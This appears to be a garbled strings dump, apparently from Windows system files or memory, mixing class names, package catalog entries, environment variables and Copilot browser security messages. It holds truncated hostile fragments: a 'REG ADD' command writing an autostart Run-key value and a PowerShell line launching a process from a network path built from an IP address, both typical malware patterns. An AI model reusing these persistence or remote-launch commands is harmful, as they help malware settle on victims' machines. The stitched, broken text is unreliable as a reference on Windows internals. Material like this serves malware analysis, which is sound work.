WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TableCandidateItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TableCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TableCandidatePanelBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TextContainer
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TextControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TextInputAudioManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TextInputResourceLoader
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TextItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.TextItemIndex
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ThreadPoolBasedTimer
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.Timer
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToggleInputProfileSwitcher
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarAsynchronousEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarControl
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarIMEConversionModeChangedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarListBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarLogonUITemplateManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarMenuFlyoutItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarStyles
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.ToolBarTemplateManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.VerticalCandidateItem
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.VerticalCandidateItemBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.VerticalCandidateItemsPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.VerticalCandidateItemsPanelBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.VerticalCandidatePanelBase
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.VerticalQuickActionPanel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Converter.BooleanToWinUIIconSourceConverter
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.DefaultPlatformAdapter
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.FastLocalSettings
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.HolographicShellViewPositionAndSizeManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.CandidateControlPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.DictationControlPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.EntryPointControlPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.ExpressiveSuggestionUIPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.InputCompanionSuggestionUIPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.InputPanelPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.SmartActionsControlPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputApp.ToolBarControlPage
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputLocaleManagerDataSource
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputSwitcherDescriptionTemplateSelector
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputSwitcherIconTemplateSelector
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputSwitcherLanguageProfile
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputSwitcherLayoutPositionChangedArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputSwitcherModeChangedArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputSwitcherProfileButton
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.InputSwitcherStylesAndTemplates
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.KeyboardSettingsMenu
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.KeyboardSettingsMenuProfile
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.KeyboardSettingsMenuViewModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.LanguageSwitcherViewModel
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.MemoryResidentSettings
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.RegistrySettings
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.SettingsManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.ShellPreferencesSettings
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.ShellViewPositionAndSizeManager
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.StaticSettings
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.TextFramework.SystemInputProcessorTextFrameworkAdapter
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.TextInputEditBuffer
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.TextInputSettingsValueChangedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.TextInput_XamlTypeInfo.XamlMetaDataProvider
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.ViewActivationRequestedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.XboxPlatformAdapter
WindowsMigration.MigrationOrchestrator
WindowsMigration.UserStateMigrationOrchestrator
WindowsMigration.WindowsMigrationControl
WindowsMigration.WindowsMigrationResources
WindowsMigration.WindowsMigrationTestingControl
WindowsMigration.XamlMetaDataProvider
WindowsPeopleExperience.AuthManager
WindowsPeopleExperience.PeopleIconManager
WindowsPeopleExperience.WindowsPeopleExperienceControl
WindowsPeopleExperience.WindowsPeopleExperienceResources
WindowsPeopleExperience.XamlMetaDataProvider
Global.WindowsMigration.AppXs0pwbp6kdsdsmsjw7q8tec8r7jkwndvs.mca
Global.WindowsMigration.AppXw42whz6tg0yc2q1d3zb1embv2vsdseb6.mca
Global.WindowsPeopleExperience.AppXec6z3g013veg1fvp1bev5be57rj1tr59.mca
Global.WindowsPeopleExperience.wwa
Global.WindowsPersonaCard.AppXct52b5fkwa3y4wqhrs0fzf0f0886pwq0.mca
Global.WindowsPersonaCard.wwa
WindowsBackup.AppX7g7ckthmr138zk16nhs1hb5tyevsa9p6.mca
WindowsBackup.AppXdxezs4e8sgzfm5nm3xyatbg80d4dwjg1.mca
WindowsBackup.AppXg20mfg639r98zjt111v82s19ze9v9t09.mca
WindowsBackup.AppXnn6fnh4raxtmg45ba8k2f4ykb7n0k3y4.mca
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.15
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.16
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.10
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.11
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.12
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.13
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.14(
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.17
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.18
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.19
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.20
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.7
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.8
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.9
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.10
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.11
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.12
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.13
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.14
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.15
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.16
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.17
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.18
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.19
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.20
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
windows.hlp`
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
Microsoft.UI.Xaml.Hosting.WindowsXamlManager
Microsoft.Windows.AI.ContentModeration.ImageContentModeration
Microsoft.Windows.AI.ContentModeration.TextContentModeration
Microsoft.Windows.AI.Generative.ImageDescriptionGenerator
Microsoft.Windows.AI.Generative.ImageDescriptionResult
Microsoft.Windows.AI.Generative.ImageLLMAdapterCreator
Microsoft.Windows.AI.Generative.Internal.SettingsModel
Microsoft.Windows.AI.Generative.LanguageModel
Microsoft.Windows.AI.Generative.LanguageModelResponse
Microsoft.Windows.AppLifecycle.ActivationRegistrationManager
Microsoft.Windows.AppLifecycle.AppInstance
Microsoft.Windows.AppNotifications.AppNotification
Microsoft.Windows.AppNotifications.AppNotificationActivatedEventArgs
Microsoft.Windows.AppNotifications.AppNotificationManager
Microsoft.Windows.AppNotifications.AppNotificationProgressData
Microsoft.Windows.AppNotifications.Builder.AppNotificationBuilder
Microsoft.Windows.AppNotifications.Builder.AppNotificationButton
Microsoft.Windows.AppNotifications.Builder.AppNotificationComboBox
Microsoft.Windows.AppNotifications.Builder.AppNotificationProgressBar
Microsoft.Windows.AppNotifications.Builder.AppNotificationTextProperties
Microsoft.Windows.ApplicationModel.DynamicDependency.AddPackageDependencyOptions
Microsoft.Windows.ApplicationModel.DynamicDependency.CreatePackageDependencyOptions
Microsoft.Windows.ApplicationModel.DynamicDependency.PackageDependency
Microsoft.Windows.ApplicationModel.DynamicDependency.PackageDependencyContext
Microsoft.Windows.ApplicationModel.DynamicDependency.PackageDependencyRank
Microsoft.Windows.ApplicationModel.Resources.KnownResourceQualifierName
Microsoft.Windows.ApplicationModel.Resources.ResourceCandidate
Microsoft.Windows.ApplicationModel.Resources.ResourceLoader
Microsoft.Windows.ApplicationModel.Resources.ResourceManager
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.DeploymentInitializeOptions
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.DeploymentManager
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.DeploymentResult
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.ReleaseInfo
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.RuntimeInfo
Microsoft.Windows.Globalization.ApplicationLanguages
Microsoft.Windows.Imaging.ImageBuffer
Microsoft.Windows.Management.Deployment.AddPackageOptions
Microsoft.Windows.Management.Deployment.EnsureReadyOptions
Microsoft.Windows.Management.Deployment.PackageDeploymentManager
Microsoft.Windows.Management.Deployment.PackageDeploymentResult
Microsoft.Windows.Management.Deployment.PackageRuntimeManager
Microsoft.Windows.Management.Deployment.PackageSet
Microsoft.Windows.Management.Deployment.PackageSetItem
Microsoft.Windows.Management.Deployment.PackageSetItemRuntimeDisposition
Microsoft.Windows.Management.Deployment.PackageSetRuntimeDisposition
Microsoft.Windows.Management.Deployment.PackageVolume
Microsoft.Windows.Management.Deployment.ProvisionPackageOptions
Microsoft.Windows.Management.Deployment.RegisterPackageOptions
Microsoft.Windows.Management.Deployment.RemovePackageOptions
Microsoft.Windows.Management.Deployment.StagePackageOptions
Microsoft.Windows.Private.CacheManagement.ModelCacheManager
Microsoft.Windows.PushNotifications.PushNotificationActivationInfo
Microsoft.Windows.PushNotifications.PushNotificationChannel
Microsoft.Windows.PushNotifications.PushNotificationCreateChannelResult
Microsoft.Windows.PushNotifications.PushNotificationManager
Microsoft.Windows.PushNotifications.PushNotificationReceivedEventArgs
Microsoft.Windows.PushNotifications.PushNotificationRegistrationToken
Microsoft.Windows.Security.AccessControl.SecurityDescriptorHelpers
Microsoft.Windows.SemanticSearch.EmbeddingVector
Microsoft.Windows.SemanticSearch.EmbeddingsSerializer
Microsoft.Windows.SemanticSearch.ImageEmbeddingsGenerator
Microsoft.Windows.SemanticSearch.ImageSearchEmbeddingsCreator
Microsoft.Windows.SemanticSearch.QueryBlockList
Microsoft.Windows.SemanticSearch.QueryParameters
Microsoft.Windows.SemanticSearch.QueryProcessor
Microsoft.Windows.SemanticSearch.SemanticImageIndexStore
Microsoft.Windows.SemanticSearch.SemanticImageIndexStoreOptions
Microsoft.Windows.SemanticSearch.SemanticQueryOptions
Microsoft.Windows.SemanticSearch.SemanticTextEmbeddingsCreator
Microsoft.Windows.SemanticSearch.SemanticTextIndexStore
Microsoft.Windows.SemanticSearch.SemanticTextIndexStoreOptions
Microsoft.Windows.SemanticSearch.TextEmbeddingsGenerator
Microsoft.Windows.SemanticSearch.TextEmbeddingsOptions
Microsoft.Windows.SemanticSearch.Tokenizer
Microsoft.Windows.Storage.ApplicationData
Microsoft.Windows.Storage.ApplicationDataContainer
Microsoft.Windows.System.EnvironmentManager
Microsoft.Windows.System.Power.PowerManager
Microsoft.Windows.Vision.ScreenRegionDetector
Microsoft.Windows.Vision.TextRecognizer
Microsoft.Windows.Vision.TextRecognizerOptions
Microsoft.Windows.Widgets.Feeds.Providers.CustomQueryParametersUpdateOptions
Microsoft.Windows.Widgets.Feeds.Providers.FeedManager
Microsoft.Windows.Widgets.Feeds.Providers.FeedResourceResponse
Microsoft.Windows.Widgets.Notifications.FeedAnnouncement
Microsoft.Windows.Widgets.Notifications.WidgetAnnouncement
Microsoft.Windows.Widgets.Providers.WidgetManager
Microsoft.Windows.Widgets.Providers.WidgetResourceResponse
Microsoft.Windows.Widgets.Providers.WidgetUpdateRequestOptions
Microsoft.Windows.Workloads.Internal.CacheManagerInternal
Microsoft.Windows.Workloads.WorkloadManager
REG ADD  HKLM\Software\Microsoft\Windows\CurrentVersion\Run  /v  DATOS2 /t REG_SZ /dR
)P6AJAEBUInstalledWordBreaker@Text@Data@Windows@@PEAPEAUI'
Vc:\windows\system32\shell32.dllurl=
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
 Windows, 
 Windows
Microsoft-Windows-FodMetadataServicing-Desktop-CompDB-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-AppManagement-UEV-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-AppManagement-UEV-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411220~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package011320~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|Microsoft-Windows-CoreSystem-DISM-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
 Windows 10 
	WindowsFeedback
WindowsFeedback
C:\WINDOWS\globalization\icu
getWindows
updateWindows+
S};i={id:r,selected:null,text:n.Host.getLocString("WindowsIndexingNotificationDismissAction"),titleF
WindowsDeleteString
WindowsGetStringRawBuffer
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopSpotlight
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.Accounts
Microsoft.Windows.WindowsInstaller
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Kernel-Package-WOW64-NT-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-WindowsCoreHeadless-DeviceRuntime-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-FCI-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Kernel-Package-WOW64-NT-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-WindowsCoreHeadless-DeviceRuntime-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
:\WINDOWS
LOCALAPPDATA=%TEMP%\Packages\microsoft.windows.fontdrvhost\AC
TMP=%TEMP%\Packages\microsoft.windows.fontdrvhost\AC\Temp
TEMP=%TEMP%\Packages\microsoft.windows.fontdrvhost\AC\Temp
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
windir=C:\WINDOWS
Windows mixed reality settings|Hololens settings|MR settings|Windows MR settings|=
holographic|hololens settings|mixed reality privacy settings|MR settings|Windows MR settings|;
Windows mixed reality settings|Hololens settings|mixed reality audio settings|Windows mixed reality audio settings|MR settings|Windows MR settings|6
Windows Mixed Reality
hololens settings|windows mr settings|windows mixed reality settings|ar settings|uninstall hololens|>
ForWindowsClien
hkcu\software\microsoft\windows\currentversion\runonceh
WindowsAm
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Root>
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Group>
Windows.Data.Platform.ItemReference<Windows.Data.PlaceholderTileLogo>
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileCollectionItemData
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileSingletonData
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Tile>
Windows.Data.BlueLightReduction.BlueLightReductionStatePerDevice
SLConsumeWindowsRight
SLGetWindowsInformation
SLGetWindowsInformationDWORD
SLIsWindowsGenuineLocal
SLReArmWindows
SLRegisterWindowsEvent
SLUnregisterWindowsEvent
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
WindowsApplication2.Rummage%
EVT_FD0A4F40-0340-40abd1bac1ab-9220-435f-89ff-e8314f87437b\system32\
c:\windows\system32\
C:\WINDOWS\System32\d3
ROOT\Microsoft\Windows\Defendere
C:\WINDOWS\system
windows backupD
This program requires Microsoft Windows.
WindowsSetupManger\obj\Debug\WindowsSetupManger.pdb
c:\windows\system32\windowspowershell\v1.0\powershell.exe-c"start-process-filepath('\\'+([system.net.ipaddress]
Windows::Security::Authentication::OnlineId::UserAuthenticationOperation::RetrieveUserData
Windows::Security::Authentication::OnlineId::UserAuthenticationOperation::IsWABFlowDisabledOnAllPlatforms
Windows::Security::Authentication::OnlineId::UserAuthenticationOperation::IsCxhRedirectionEnabledForCurrentPlatform
Windows::Security::Authentication::OnlineId::UserAuthenticationOperation::OverrideTicketRequestForLegacyAdControl
Windows::Security::Authentication::OnlineId::AuthenticationOperationBase<class Windows::Security::Authentication::OnlineId::UserIdentity *>::SaveIdentityData
Windows::Security::Authentication::OnlineId::AuthenticationOperationBase<class Windows::Security::Authentication::OnlineId::UserIdentity *>::CreateRequestParameters
Windows::Security::Authentication::OnlineId::AuthenticationOperationBase<class Windows::Security::Authentication::OnlineId::UserIdentity *>::GetIdentityFromCache
Windows::Security::Authentication::OnlineId::AuthenticationOperationBase<class Windows::Security::Authentication::OnlineId::UserIdentity *>::UpdateCredentialInformation
Windows::Security::Authentication::OnlineId::AuthenticationOperationBase<class Windows::Security::Authentication::OnlineId::UserIdentity *>::InitializeApplicationId
Windows
Windows
CloudData.WindowsClient.AssetReference
ItemReference<Windows.Data.CuratedTileCollection.Group>
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
	COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
CredUIPromptForWindowsCredentialsW
WindowsSubstringWithSpecifiedLength
ArrangeWindows
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Data.Apps.IconInfo
Windows.Data.Apps.ShortcutInfo
Windows.Data.Apps.FileInfo
Windows.Data.Apps.AppMetaData
Windows.Data.Apps.AppCompatInfo
Videos.library-ms=@%SystemRoot%\system32\windows.storage.dll,-34620
Documents.library-ms=@%SystemRoot%\system32\windows.storage.dll,-34575
Pictures.library-ms=@%SystemRoot%\system32\windows.storage.dll,-34595
Music.library-ms=@%SystemRoot%\system32\windows.storage.dll,-34584
WindowsMitY
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.7
WindowsInternal.AI.Context.ScreenContextAnalyzer
WindowsInternal.AI.Context.ScreenContextDataset
WindowsInternal.AI.Context.ScreenContextDatasetEntry
WindowsInternal.AI.Context.ScreenContextSession
WindowsInternal.AI.Context.ScreenContextSessionConfiguration
ItemReference<Windows.Data.CuratedTileCollection.Tile>
Windows.Data.Accessibility.Keyboard.SyncedSettings
onecoreuap\internal\windows\inc\DwmWnfDumpRequestListener.h
:Microsoft.Windows.Widgets.Hosts.WidgetPostMessageEventArgs
8Microsoft.Windows.Widgets.Hosts.WidgetProviderDefinition
FMicrosoft.Windows.Widgets.Hosts.WidgetProviderDefinitionAddedEventArgs
HMicrosoft.Windows.Widgets.Hosts.WidgetProviderDefinitionDeletedEventArgs
HMicrosoft.Windows.Widgets.Hosts.WidgetProviderDefinitionUpdatedEventArgs
AMicrosoft.Windows.Widgets.Hosts.WidgetRemoveAnnouncementEventArgs
?Microsoft.Windows.Widgets.Hosts.WidgetSendAnnouncementEventArgs
4Microsoft.Windows.Widgets.Hosts.WidgetThemeResources
6Microsoft.Windows.Widgets.Hosts.WidgetUpdatedEventArgs
<Microsoft.Windows.Widgets.Hosts.IWidgetApiInformationStatics
(Microsoft.Windows.Widgets.WidgetContract
5Microsoft.Windows.Widgets.Hosts.IWidgetCatalogStatics
(Microsoft.Windows.Widgets.WidgetContract
2Microsoft.Windows.Widgets.Hosts.IWidgetHostStatics
(Microsoft.Windows.Widgets.WidgetContract
9Microsoft.Windows.Widgets.Hosts.IWidgetHostContextFactory
(Microsoft.Windows.Widgets.WidgetContract
@Microsoft.Windows.Widgets.Notifications.IFeedAnnouncementFactory
(Microsoft.Windows.Widgets.WidgetContract
8Microsoft.Windows.Widgets.Notifications.FeedAnnouncement
CMicrosoft.Windows.Widgets.Notifications.FeedAnnouncementInvokedArgs
:Microsoft.Windows.Widgets.Notifications.WidgetAnnouncement
EMicrosoft.Windows.Widgets.Notifications.WidgetAnnouncementInvokedArgs
BMicrosoft.Windows.Widgets.Notifications.IWidgetAnnouncementFactory
(Microsoft.Windows.Widgets.WidgetContract
;Microsoft.Windows.Widgets.Providers.WidgetActionInvokedArgs
CMicrosoft.Windows.Widgets.Providers.WidgetAnalyticsInfoReportedArgs
1Microsoft.Windows.Widgets.Providers.WidgetContext
<Microsoft.Windows.Widgets.Providers.WidgetContextChangedArgs
DMicrosoft.Windows.Widgets.Providers.WidgetCustomizationRequestedArgs
?Microsoft.Windows.Widgets.Providers.WidgetErrorInfoReportedArgs
.Microsoft.Windows.Widgets.Providers.WidgetInfo
1Microsoft.Windows.Widgets.Providers.WidgetManager
=Microsoft.Windows.Widgets.Providers.WidgetMessageReceivedArgs
9Microsoft.Windows.Widgets.Providers.WidgetResourceRequest
?Microsoft.Windows.Widgets.Providers.WidgetResourceRequestedArgs
